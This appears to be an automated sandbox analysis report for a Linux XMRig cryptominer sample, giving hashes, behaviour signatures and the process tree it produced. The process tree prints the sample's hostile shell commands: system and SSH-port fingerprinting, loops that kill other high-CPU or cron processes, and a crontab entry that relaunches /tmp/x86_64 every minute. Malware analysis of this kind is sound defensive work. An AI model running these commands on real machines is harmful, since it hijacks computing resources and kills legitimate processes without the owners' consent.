Analysis
-
max time kernel
318s -
max time network
313s -
platform
ubuntu-22.04_amd64 -
resource
ubuntu2204-amd64-20240729-en -
resource tags
-
submitted
26-12-2024 16:17
General
-
Target
x86_64
-
Size
2.3MB
-
MD5
de59dfac47a8261c2444f3d122a61c81
-
SHA1
488ba08f8156136d222e39dad0a64c9ca27b74d8
-
SHA256
bb62b9324bc673ff0d7841b7b0bf1f2bcbce0c4d761a5865efafdcd35411c48c
-
SHA512
cb62ae2510b464852e70983c4108b1a0b126d4e3e8bbafeacd9363a1288babcf40001a3627fa2760d16c75cbdffc5b1b06cbab8bb7c5245ca13737ab44db3426
-
SSDEEP
49152:4ZwTqMivo91J3oQ9jeOKGiss7gqH5OueN/HizQQg2Ysi:MuqFvK1Bz5isVqHIXZHiz5g2Ysi
Malware Config
Signatures
-
Xmrig family
-
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
-
XMRig Miner payload 1 IoCs
-
Checks hardware identifiers (DMI) 1 TTPs 4 IoCs
Checks DMI information which indicate if the system is a virtual machine.
-
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
-
Enumerates running processes
Discovers information about currently running processes on the system
-
Reads hardware information 1 TTPs 14 IoCs
Accesses system info like serial numbers, manufacturer names etc.
-
Security Software Discovery 1 TTPs 2 IoCs
Adversaries may attempt to discover installed security software and its configurations.
-
Checks CPU configuration 1 TTPs 3 IoCs
Checks CPU information which indicate if the system is a virtual machine.
-
Reads CPU attributes 1 TTPs 7 IoCs
-
Enumerates kernel/hardware configuration 1 TTPs 62 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
-
Process Discovery 1 TTPs 2 IoCs
Adversaries may try to discover information about running processes.
-
Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
-
Writes file to tmp directory 2 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/x86_64/tmp/x86_641⤵
- Checks hardware identifiers (DMI)
- Reads hardware information
- Checks CPU configuration
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Writes file to tmp directory
-
/bin/shsh -c "echo \"[\$(hostname=\$(hostname -I 2>/dev/null || hostname -i 2>/dev/null);echo \$hostname | awk {'print \$1'} 2>/dev/null)\$(cat /etc/ssh/sshd_config 2>/dev/null | grep 'Port ' 2>/dev/null | head -n 1 2>/dev/null | awk {'print \"-\"\$2'} 2>/dev/null)][\$(whoami 2>/dev/null)][\$(hostname 2>/dev/null)][\$(grep -c ^processor /proc/cpuinfo 2>/dev/null)][\$(X=\$(grep -m 1 'model name' /proc/cpuinfo 2>/dev/null | cut -d: -f2 2>/dev/null | sed -e 's/^ *//' 2>/dev/null | sed -e 's/\$//' 2>/dev/null); if [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'QEMU' ]; then echo 'QEMU'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Haswell)' ]; then echo 'Haswell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Broadwell)' ]; then echo 'Broadwell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'AMD' ]; then echo \$X 2>/dev/null | awk {'print \$2\" \"\$3\" \"\$4'} 2>/dev/null; else echo \$X 2>/dev/null; fi)]\""2⤵
-
/usr/bin/hostnamehostname -I3⤵
-
-
/usr/bin/awkawk "{print \$1}"3⤵
-
-
/usr/bin/headhead -n 13⤵
-
-
/usr/bin/awkawk "{print \"-\"\$2}"3⤵
-
-
/usr/bin/grepgrep "Port "3⤵
-
-
/usr/bin/catcat /etc/ssh/sshd_config3⤵
-
-
/usr/bin/whoamiwhoami3⤵
-
-
/usr/bin/hostnamehostname3⤵
-
-
/usr/bin/grepgrep -c "^processor" /proc/cpuinfo3⤵
- Checks CPU configuration
-
-
/usr/bin/sedsed -e "s/^ *//"3⤵
-
-
/usr/bin/sedsed -e "s/\$//"3⤵
-
-
/usr/bin/cutcut -d: -f23⤵
-
-
/usr/bin/grepgrep -m 1 "model name" /proc/cpuinfo3⤵
- Checks CPU configuration
-
-
/usr/bin/awkawk "{print \$1}"3⤵
-
-
/usr/bin/awkawk "{print \$4}"3⤵
-
-
/usr/bin/awkawk "{print \$4}"3⤵
-
-
/usr/bin/awkawk "{print \$3}"3⤵
-
-
/usr/bin/awkawk "{print \$4}"3⤵
-
-
/usr/bin/awkawk "{print \$1}"3⤵
-
-
/usr/bin/awkawk "{print \$2\" \"\$3\" \"\$4}"3⤵
-
-
-
/bin/shsh -c "ps -A -ostat,ppid 2>/dev/null | awk '/[zZ]/ && !a[\$2]++ {print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done;if [ `id -u 2>/dev/null` -eq '0' ]; then ps x 2>/dev/null | grep /etc/cron 2>/dev/null | grep -v grep 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"2⤵
-
/usr/bin/awkawk "/[zZ]/ && !a[\$2]++ {print \$2}"3⤵
-
-
/usr/bin/psps -A "-ostat,ppid"3⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/idid -u3⤵
-
-
/usr/bin/grepgrep -v grep3⤵
-
-
/usr/bin/grepgrep /etc/cron3⤵
-
-
/usr/bin/psps x3⤵
- Reads CPU attributes
- Reads runtime system information
-
-
-
/bin/shsh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -v -- '-bash[[:space:]]*\$' 2>/dev/null | grep -v /usr/sbin/httpd 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done else ps -u `whoami 2>/dev/null` ux | grep -v grep 2>/dev/null | grep -v -- '-bash[[:space:]]*\$' 2>/dev/null | grep -v /usr/sbin/httpd 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"2⤵
- Security Software Discovery
-
/usr/bin/idid -u3⤵
-
-
/usr/bin/awkawk "{if(\$3>30.0) print \$2}"3⤵
-
-
/usr/bin/grepgrep -v /usr/sbin/httpd3⤵
-
-
/usr/bin/grepgrep -v -- "-bash[[:space:]]*\$"3⤵
-
-
/usr/bin/grepgrep -v grep3⤵
-
-
/usr/bin/psps aux3⤵
- Reads CPU attributes
- Process Discovery
- Reads runtime system information
-
-
-
/bin/shsh -c "dir=`pwd 2>/dev/null`;rm -rf \$dir/.cron 2>/dev/null;crontab -l 2>/dev/null | grep -v grep 2>/dev/null | grep -v '/tmp/x86_64' 2>/dev/null > .cron 2>/dev/null;echo '* * * * * '\$dir/'/tmp/x86_64' >> .cron 2>/dev/null; if [ \$(crontab -l 2>/dev/null | grep -v grep 2>/dev/null | grep '/tmp/x86_64\$' 2>/dev/null | sort 2>/dev/null | uniq 2>/dev/null | wc -l 2>/dev/null) -eq '0' ]; then crontab \$dir/.cron 2>/dev/null; fi;rm -rf \$dir/.cron 2>/dev/null"2⤵
- Writes file to tmp directory
-
/usr/bin/rmrm -rf /tmp/.cron3⤵
-
-
/usr/bin/grepgrep -v /tmp/x86_643⤵
-
-
/usr/bin/grepgrep -v grep3⤵
-
-
/usr/bin/crontabcrontab -l3⤵
-
-
/usr/bin/wcwc -l3⤵
-
-
/usr/bin/uniquniq3⤵
-
-
/usr/bin/sortsort3⤵
-
-
/usr/bin/grepgrep "/tmp/x86_64\$"3⤵
-
-
/usr/bin/grepgrep -v grep3⤵
-
-
/usr/bin/crontabcrontab -l3⤵
-
-
/usr/bin/crontabcrontab /tmp/.cron3⤵
- Creates/modifies Cron job
-
-
/usr/bin/rmrm -rf /tmp/.cron3⤵
-
-
-
/bin/shsh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then if [ `ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | wc -l 2>/dev/null` -gt 1 ]; then ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi else myid=`whoami 2>/dev/null`; if [ `ps -u \$myid ux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | wc -l 2>/dev/null` -gt 1 ]; then ps -u \$myid ux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi fi"2⤵
- Security Software Discovery
-
/usr/bin/idid -u3⤵
-
-
/usr/bin/wcwc -l3⤵
-
-
/usr/bin/awkawk "{if(\$3>30.0) print \$2}"3⤵
-
-
/usr/bin/grepgrep -- "-bash[[:space:]]*\$"3⤵
-
-
/usr/bin/grepgrep -v grep3⤵
-
-
/usr/bin/psps aux3⤵
- Reads CPU attributes
- Process Discovery
- Reads runtime system information
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
27B
MD5c594ee6671add072fefa107690d0984f
SHA178f211f438618adc46dc08f08e274abdca8a7bb3
SHA256d3e9cb77ed9be820e79ea8b36c43bdc415efe6972df24008f455e964a862d12e
SHA5121ad5405c5b0080b7d18b0e9795ac049877d9d2beb71674accb56dc17d95b2d465afa98c6017cd623094751537f65f3b913797e257a095f748ddf2a813fd2850b
-
Filesize
211B
MD5f2d250cd1fd82850cb73c34ffbc5b992
SHA14a531ad845c0a5de1d53b191fd5a39b97053b25d
SHA2565a14622d3408176125e3926ba184a6741ad2adf9bcf416c0836a4b43a6028b30
SHA5129d8e0fea70c693b1beda5ccd4183ffd601407d72b607d491f9ede2cab8bee802a47f43dac5ca1d988fe3ce6582493e9c1f0116d66a3449fb31013ea146b63ca2